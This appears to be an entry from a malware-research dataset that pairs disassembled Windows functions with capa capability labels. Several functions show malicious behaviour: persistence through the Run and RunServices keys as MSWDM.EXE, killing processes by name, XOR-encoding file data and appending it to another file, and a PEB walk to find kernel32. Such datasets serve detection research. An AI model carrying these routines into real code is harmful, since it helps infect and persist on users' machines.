joyce8/EMBER2024-capa huggingface dataset:
Function at 0x425bac
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push edi
xor edi, edi
mov dword [ecx + 0x9c], edi
cmp dword [str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorer], edi
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edi
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
mov ebx, 0x437190
je 0x425c68
push esi
lea eax, [ebp - 4]
push eax
push 1
push edi
push dword [ebx]
push SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x425c50
mov esi, dword [ebx + 4]
jmp 0x425c4a
lea ecx, [ebp - 0x14]
push ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0xc]
push ecx
push edi
push eax
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x425c3a
cmp dword [ebp - 0xc], 4
jne 0x425c3a
cmp dword [ebp - 8], edi
mov eax, dword [ebp - 0x10]
mov ecx, dword [esi + 4]
je 0x425c32
or dword [eax + 0x9c], ecx
jmp 0x425c3a
not ecx
and dword [eax + 0x9c], ecx
mov dword [ebp - 8], edi
mov dword [ebp - 0x14], 4
mov dword [ebp - 0xc], edi
add esi, 8
mov eax, dword [esi]
cmp eax, edi
jne 0x425bfe
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
add ebx, 8
cmp dword [ebx], edi
mov dword [ebp - 4], edi
jne 0x425be1
pop esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
inc eax
pop ebx
leave
ret

Function at 0x426056
Capabilities:
Query or enumerate registry key

Disassembly:
mov eax, 0x429e9e
call fcn.0040f0a8
sub esp, 0x11c
mov eax, dword [0x4382d4]
push ebx
push esi
push edi
mov dword [ebp - 0x14], eax
mov eax, dword [ebp + 0xc]
mov eax, dword [eax]
mov dword [ebp - 0x10], esp
lea ecx, [ebp - 0x124]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
mov esi, eax
test esi, esi
jne 0x42614f
push 0x104
lea eax, [ebp - 0x11c]
push eax
push 0
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegEnumKeyA]
mov esi, eax
test esi, esi
jne 0x426123
and dword [ebp - 4], eax
lea eax, [ebp - 0x11c]
push eax
lea ecx, [ebp - 0x120]
call fcn.00402310
lea eax, [ebp - 0x120]
push eax
push dword [ebp - 0x124]
mov byte [ebp - 4], 1
call fcn.00426056
mov ecx, dword [ebp - 0x120]
mov esi, eax
test esi, esi
setne bl
add ecx, 0xfffffff0
mov byte [ebp - 4], 0
call fcn.00401470
test bl, bl
jne 0x426123
or dword [ebp - 4], 0xffffffff
jmp 0x426094
cmp esi, 0x103
je 0x426133
cmp esi, 0x3f2
jne 0x426143
mov eax, dword [ebp + 0xc]
push dword [eax]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegDeleteKeyA]
mov esi, eax
push dword [ebp - 0x124]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov ecx, dword [ebp - 0x14]
mov eax, esi
call fcn.0040e2cf
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x4273ee
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x427423
cmp edi, dword [esi + 0xc]
jge 0x427423
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x427423
cmp edi, dword [eax + 8]
jge 0x427423
mov eax, dword [eax + 0xc]
mov edi, dword [eax + edi*4]
jmp 0x427425
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x427529
Capabilities:
Allocate thread local storage

Disassembly:
xor eax, eax
push esi
mov esi, ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x18], 4
mov dword [esi + 4], eax
mov dword [esi + 8], 1
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x42755d
jmp fcn.0041ad37
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
ret

Function at 0x4275ce
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c]
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
jle 0x4276c7
cmp eax, dword [edi + 0xc]
jge 0x4276c7
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
je 0x42761f
mov ecx, dword [ebp + 8]
cmp ecx, dword [esi + 8]
jl 0x4276b0
cmp dword [ebp + 0xc], ebx
je 0x4276b0
jmp 0x427649
push 0x10
call fcn.004272ba
cmp eax, ebx
je 0x427635
mov ecx, eax
call fcn.00427520
mov esi, eax
jmp 0x427637
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
mov dword [edi + 0x14], esi
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x427660
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x427670
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
cmp eax, ebx
jne 0x427682
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.0041ad37
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov edx, dword [edi + 0xc]
sub edx, ecx
shl edx, 2
push edx
lea eax, [eax + ecx*4]
push ebx
push eax
call fcn.0040f690
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x4276c2
cmp ecx, dword [esi + 8]
jge 0x4276c2
mov edx, dword [ebp + 0xc]
mov dword [eax + ecx*4], edx
push dword [ebp - 4]
jmp 0x4276c8
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x427786
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x4277b4
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x4277d2
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.004276f0
jmp 0x4277d2
mov eax, dword [esi + 0x14]
test eax, eax
je 0x4277d2
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.004276f0
test edi, edi
mov eax, edi
jne 0x4277bc
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x43af30]
test ecx, ecx
je 0x427885
jmp 0x427785
ret 8
Function at 0x40688e
Capabilities:
Access peb ldr_data
Get kernel32 base address

Disassembly:
push esi
push edi
mov eax, 0x1a1
cmp eax, 0x24
ja 0x40689c
call 0x8566875
mov al, byte [0x8b640041]
cmp eax, 0x30
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov edi, dword fs:[0x30]
mov edi, dword [edi + 0xc]
mov esi, dword [edi + 0xc]
mov eax, dword [esi]
mov eax, dword [eax]
mov eax, dword [eax + 0x18]
mov dword [0x44ee30], eax
sub eax, eax
je 0x4068c1
call 0xa8cf51af
invalid
call 0x401154
call 0x406651
pop edi
xor eax, eax
pop esi
ret

Function at 0x407515
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x407554
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x407554
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x407554
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x407554
cmp dword [ecx + 0x74], 0xe
jbe 0x407554
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x40d5eb
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c2c8
push 0x41c2c0
push str.FlsAlloc
push 0x1e
call fcn.0040d4ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d61f
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a120]
call esi
jmp 0x40d625
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4

Function at 0x40d669
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x41c2d8
push 0x41c2d0
push str.FlsGetValue
push 0x20
call fcn.0040d4ac
mov esi, eax
add esp, 0x10
test esi, esi
je 0x40d6a0
push dword [ebp + 8]
mov ecx, esi
call dword [0x41a120]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]
Function at 0x40107c
Capabilities:
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x50
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
push edi
push ebx
push dword [esi + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 2
push ebx
push 0xfffffffffffffffc
push dword [esi + 8]
mov dword [ebp - 8], eax
mov dword [esi + 4], ebx
call edi
lea eax, [ebp - 4]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_ReadFile]
push eax
lea eax, [ebp - 0x50]
push 4
push eax
push dword [esi + 8]
call ebx
test eax, eax
je 0x4011f2
lea eax, [ebp - 0x50]
push 2
push eax
lea eax, [ebp - 0xc]
push eax
call fcn.00403e60
lea eax, [ebp - 0x4e]
push 2
push eax
lea eax, [ebp + 0xa]
push eax
call fcn.00403e60
add esp, 0x18
push dword [ebp - 0xc]
call fcn.0040121d
cmp word [ebp + 0xa], ax
je 0x40110b
mov ecx, dword [ebp - 8]
and dword [esi], 0
push 1
mov dword [esi + 0xc], ecx
pop eax
mov dword [esi + 4], eax
jmp 0x401216
push 2
push 0
push 0xfffffffffffffffa
mov dword [esi], 1
push dword [esi + 8]
call edi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0x50]
push 2
push eax
push dword [esi + 8]
call ebx
test eax, eax
je 0x4011f2
lea eax, [ebp - 0x50]
push 2
push eax
lea eax, [esi + 0x20]
push eax
call fcn.00403e60
add esp, 0xc
push 2
push 0
push 0xfffffffffffffff6
push dword [esi + 8]
call edi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0x50]
push 4
push eax
push dword [esi + 8]
call ebx
test eax, eax
je 0x4011f2
lea ecx, [ebp - 0x50]
lea eax, [esi + 0xc]
push 4
push ecx
push eax
call fcn.00403e60
add esp, 0xc
push 0xfffffffffffffff2
pop eax
push 2
push 0
push eax
mov dword [ebp - 0x10], eax
push dword [esi + 8]
call edi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0x50]
push 4
push eax
push dword [esi + 8]
call ebx
test eax, eax
je 0x4011f2
lea ecx, [ebp - 0x50]
lea eax, [esi + 0x18]
push 4
push ecx
push eax
call fcn.00403e60
mov ecx, dword [esi + 0x18]
add esp, 0xc
test ecx, ecx
jbe 0x4011cd
mov eax, dword [ebp - 8]
push 0xfffffffffffffff2
sub eax, ecx
sub eax, 0xe
mov dword [esi + 0x1c], eax
pop eax
sub eax, ecx
jmp 0x4011d0
mov eax, dword [ebp - 0x10]
push 2
add eax, 0xfffffffc
push 0
push eax
push dword [esi + 8]
call edi
lea eax, [ebp - 4]
push 0
push eax
lea eax, [ebp - 0x50]
push 4
push eax
push dword [esi + 8]
call ebx
test eax, eax
jne 0x4011f6
xor eax, eax
jmp 0x401216
lea eax, [ebp - 0x50]
lea edi, [esi + 0x10]
push 4
push eax
push edi
call fcn.00403e60
add esp, 0xc
cmp dword [edi], 0
jbe 0x401213
mov eax, dword [esi + 0xc]
mov dword [esi + 0x14], eax
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x40127d
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
push ecx
push ecx
push ebx
push ebp
push esi
lea eax, [esp + 0xc]
push edi
mov esi, str.SoftwareMicrosoftWindowsCurrentVersionRun
push eax
mov edi, reloc.WS2_32.dll_bind
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x4012af
lea eax, [esp + 0x10]
push eax
push esi
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40132d
mov esi, str.MSWDM.EXE
push esi
call fcn.004041a0
pop ecx
mov ebx, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push eax
push esi
push 1
mov ebp, 0x40d068
push 0
push ebp
push dword [esp + 0x24]
call ebx
test eax, eax
jne 0x40132d
push dword [esp + 0x10]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push edi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
test eax, eax
je 0x40130b
lea eax, [esp + 0x14]
push eax
push str.SoftwareMicrosoftWindowsCurrentVersionRunServices
push edi
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x40132d
push esi
call fcn.004041a0
pop ecx
push eax
push esi
push 1
push 0
push ebp
push dword [esp + 0x28]
call ebx
test eax, eax
jne 0x40132d
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
pop esi
pop ebp
pop ebx
pop ecx
pop ecx
ret

Function at 0x4013d3
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push esi
push edi
mov esi, 0x100
xor edi, edi
push esi
lea eax, [ebp - 0x104]
push edi
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x104]
push esi
push eax
call fcn.0040150d
push edi
push 2
push 2
push edi
push 1
lea eax, [ebp - 0x104]
push 0xc0000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
jne 0x401428
xor eax, eax
jmp 0x40148e
push ebx
push dword [0x40e454]
push edi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push edi
push edi
push edi
mov ebx, eax
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 4]
push edi
push eax
push dword [0x40e454]
push ebx
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x401484
lea eax, [ebp - 4]
push edi
push eax
push dword [0x40e454]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x401484
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, edi
pop ebx
pop edi
pop esi
leave
ret

Function at 0x40150d
Capabilities:
Get common file path

Disassembly:
push dword [esp + 8]
push dword [esp + 8]
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push str.mswdm.exe
push dword [esp + 8]
call fcn.00404360
push dword [esp + 0xc]
call fcn.004042a4
add esp, 0xc
ret 8
Function at 0x4015c3
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x800
push ebx
push esi
xor esi, esi
push edi
mov ebx, 0x100
push esi
lea eax, [ebp - 0x200]
push ebx
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x200]
push ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
test eax, eax
je 0x40171f
push ebx
lea eax, [ebp - 0x400]
push esi
push eax
call fcn.00403e00
push ebx
lea eax, [ebp - 0x100]
push esi
push eax
call fcn.00403e00
add esp, 0x18
lea eax, [ebp - 0x400]
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea eax, [ebp - 0x100]
push eax
push esi
lea eax, [ebp - 0x400]
push str.device
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameA]
sub esp, 0x28
mov esi, 0x40e448
lea eax, [ebp - 0x100]
push 0xa
pop ecx
mov edi, esp
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00401f75
xor edi, edi
push ebx
lea eax, [ebp - 0x300]
push edi
push eax
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 0x300]
push ebx
push eax
call fcn.0040150d
push 0x400
lea eax, [ebp - 0x800]
push edi
push eax
call fcn.00403e00
lea eax, [ebp - 0x800]
push str.__r_
push eax
call fcn.00404360
lea eax, [ebp - 0x100]
push eax
lea eax, [ebp - 0x800]
push eax
call fcn.00404360
mov esi, 0x40d0b8
lea eax, [ebp - 0x800]
push esi
push eax
call fcn.00404360
lea eax, [ebp - 0x200]
push eax
lea eax, [ebp - 0x800]
push eax
call fcn.00404360
lea eax, [ebp - 0x800]
push 0x40d0b4
push eax
call fcn.00404360
push dword [ebp + 8]
lea eax, [ebp - 0x800]
push eax
call fcn.00404360
lea eax, [ebp - 0x800]
push esi
push eax
call fcn.00404360
add esp, 0x44
lea eax, [ebp - 0x800]
push edi
push eax
lea eax, [ebp - 0x300]
push eax
call fcn.00403a14
pop edi
pop esi
xor eax, eax
pop ebx
leave
ret 4

Function at 0x401728
Capabilities:
Enumerate processes
Terminate process
Terminate process by name

Disassembly:
push ecx
push ebp
push esi
push edi
mov edi, 0x128
push edi
call fcn.004044ec
pop ecx
mov esi, eax
push 0
push 2
mov dword [esi], edi
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
mov ebp, dword [esp + 0x14]
mov dword [esp + 0xc], eax
push ebp
call fcn.004042a4
pop ecx
push esi
push dword [esp + 0x10]
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x4017be
push ebx
lea ebx, [esi + 0x24]
push ebx
call fcn.004042a4
push ebp
call fcn.004041a0
mov edi, ebx
push ebx
sub edi, eax
call fcn.004041a0
push ebp
add edi, eax
call fcn.004041a0
push eax
push ebp
push edi
call fcn.00404440
add esp, 0x1c
test eax, eax
jne 0x4017ac
push dword [esi + 8]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x4017ac
push 0
push eax
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
push dword [esp + 0x14]
call sub.KERNEL32.dll_Process32Next
test eax, eax
jne 0x401766
push 1
pop eax
pop ebx
pop edi
pop esi
pop ebp
pop ecx
ret 4
Function at 0x4019ea
Capabilities:
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
push ebx
push esi
push edi
call section..text
test eax, eax
je 0x401ba7
push 0x40e448
call fcn.0040107c
test eax, eax
je 0x401ba7
xor esi, esi
push esi
push esi
push esi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_CreateFileA]
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 0xc]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0x10], eax
je 0x401ba7
push dword [0x40e454]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [0x40e454]
mov edi, eax
mov dword [ebp - 8], edi
push esi
push edi
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push edi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401a94
push edi
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x10]
call edi
push dword [ebp - 8]
test eax, eax
je 0x401a89
call dword [sym.imp.KERNEL32.dll_LocalFree]
push esi
push 0x80
push 3
push esi
push 1
push 0xc0000000
push dword [ebp + 8]
call ebx
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401ab8
mov ebx, dword [sym.imp.KERNEL32.dll_GetFileSize]
push esi
push eax
call ebx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push esi
push eax
push esi
push dword [ebp - 0xc]
call ebx
push eax
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401b0e
push dword [ebp - 8]
jmp 0x401a89
mov eax, dword [ebp - 4]
push dword [ebp - 0xc]
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 4]
mov ebx, dword [ebp - 0x10]
push esi
push eax
push dword [ebp - 0x14]
push dword [ebp - 8]
push ebx
call edi
push dword [ebp - 8]
test eax, eax
je 0x401a89
call dword [sym.imp.KERNEL32.dll_LocalFree]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x14]
push 4
push eax
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x18]
push 4
push eax
push ebx
mov dword [ebp - 0x18], esi
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x40e454
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 4]
push esi
push eax
push 2
push 0x40b200
push ebx
call edi
test eax, eax
je 0x401ba7
lea eax, [ebp - 0x1c]
push eax
call fcn.00403db6
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x1c]
push 4
push eax
push ebx
call edi
test eax, eax
jne 0x401bab
xor eax, eax
jmp 0x401bc0
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp + 8]
push dword [ebp + 0xc]
call fcn.00401ff3
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x401bc7
Capabilities:
Encode data using xor
Get file size
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call section..text
test eax, eax
je 0x401d9c
push 0x40e448
call fcn.0040107c
test eax, eax
je 0x401d9c
xor esi, esi
push esi
push esi
push esi
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push esi
push 0x80
push 2
push esi
push 1
push 0xc0000000
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp - 0xc], eax
je 0x401d9c
push dword [0x40e454]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
push dword [0x40e454]
mov ebx, eax
push esi
push ebx
call fcn.00403e00
add esp, 0xc
lea eax, [ebp - 4]
push esi
push eax
push dword [0x40e454]
push ebx
push dword [0x40e450]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401c6c
push ebx
call dword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [0x40e454]
push ebx
push dword [ebp - 0xc]
call edi
test eax, eax
push ebx
je 0x401c61
mov ebx, dword [sym.imp.KERNEL32.dll_LocalFree]
call ebx
push esi
push 0x80
push 3
push esi
push 1
push bind
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileA]
cmp eax, 0xffffffff
mov dword [ebp + 8], eax
je 0x401d9c
push esi
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp + 0xc], eax
lea eax, [ebp - 4]
push esi
push eax
push esi
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x401cf2
push dword [ebp + 0xc]
call ebx
jmp 0x401d9c
mov eax, dword [ebp - 4]
push dword [ebp + 8]
mov dword [ebp - 8], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
cmp dword [ebp - 8], esi
jbe 0x401d16
mov eax, dword [ebp + 0xc]
add eax, ecx
xor byte [eax], 0x17
inc ecx
cmp ecx, dword [ebp - 8]
jb 0x401d08
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x10]
push 4
push eax
push dword [ebp - 0xc]
mov dword [ebp - 0x10], esi
call edi
test eax, eax
je 0x401ce8
lea eax, [ebp - 4]
push esi
push eax
push dword [ebp - 8]
push dword [ebp + 0xc]
push dword [ebp - 0xc]
call edi
push dword [ebp + 0xc]
test eax, eax
je 0x401ceb
call ebx
mov ebx, dword [ebp - 0xc]
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 8]
push 4
push eax
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
push 4
push 0x40e454
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 4]
push esi
push eax
push 2
push 0x40b200
push ebx
call edi
test eax, eax
je 0x401d9c
lea eax, [ebp - 0x14]
push eax
call fcn.00403db6
lea eax, [ebp - 4]
push esi
push eax
lea eax, [ebp - 0x14]
push 4
push eax
push ebx
call edi
test eax, eax
jne 0x401da0
xor eax, eax
jmp 0x401daa
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret 8